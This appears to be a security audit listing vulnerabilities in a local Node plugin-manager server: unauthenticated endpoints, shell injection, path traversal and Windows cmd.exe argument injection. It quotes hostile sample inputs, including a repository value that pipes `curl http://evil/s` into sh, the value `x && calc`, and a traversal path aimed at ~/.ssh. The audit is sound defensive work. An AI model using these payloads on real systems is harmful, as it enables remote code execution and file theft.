dsh-plugin-manager

listen(PORT, cb) omits the host, so Node binds the unspecified address (:: / 0.0.0.0) while the log claims 127.0.0.1. There is no auth, no Origin check and no CORS restriction (readBody JSON-parses any content-type, so a cross-origin text/plain POST is a CORS-simple request that reaches the handler). A LAN peer, or any malicious page the user opens while the server runs, can POST /api/install to run `dsh plugin add <attacker-package>` (npm lifecycle scripts = code execution), POST /api/update-dsh to run `npm i -g @deepseek-ai/dsh`, POST /api/profile-files-save to overwrite profile package.json

url comes from the installed package's package.json `repository` field passed through normalizeRepoUrl(), which only rewrites known prefixes and never strips shell metacharacters. A third-party plugin (exactly what this tool installs) with repository set to e.g. `https://x; curl http://evil/s | sh` turns /api/open-repo — or the GUI 'open repository' button, and remotely the unauthenticated endpoint itself — into arbitrary command execution through child_process.exec's /bin/sh. On Windows the `start "" "..."` quoting is also breakable with a `"` in the URL.

name comes straight from the request body/query and is only fed to path.join, which normalises `..`: name = "../../../../home/user/.ssh" escapes node_modules. /api/readme then returns the content of any file literally named README.md from an arbitrary directory (up to 8KB), and /api/open-repo parses an arbitrary package.json and feeds its attacker-controllable repository value into the shell exec of the previous finding.

With shell:true Node assembles the command line for cmd.exe and does not quote argv entries, so on Windows a package name such as `x && calc` posted to the unauthenticated /api/install (or `q` on /api/search) executes additional commands in the user's context. On Windows this also bypasses the argv-array safety the rest of the code relies on.

Only the last path segment is kept, but ".." survives it, so profileDir("..") resolves to $DSH_HOME while every other caller assumes $DSH_HOME/profiles. Through the unauthenticated /api/profile-files-save (server.mjs:220) or /api/toggle, package.json / cordis.patch.yml writes land one level outside the intended directory; the Rust twin explicitly guards this (base.contains("..") → replace).

Any caller (including network/cross-origin ones, since the endpoint is unauthenticated) learns the user's home directory, cwd and DSH_HOME path. The readdir branch can never work in this ESM module, so it always returns "ERR: require is not defined" — dead code that suggests the endpoint was left in from debugging.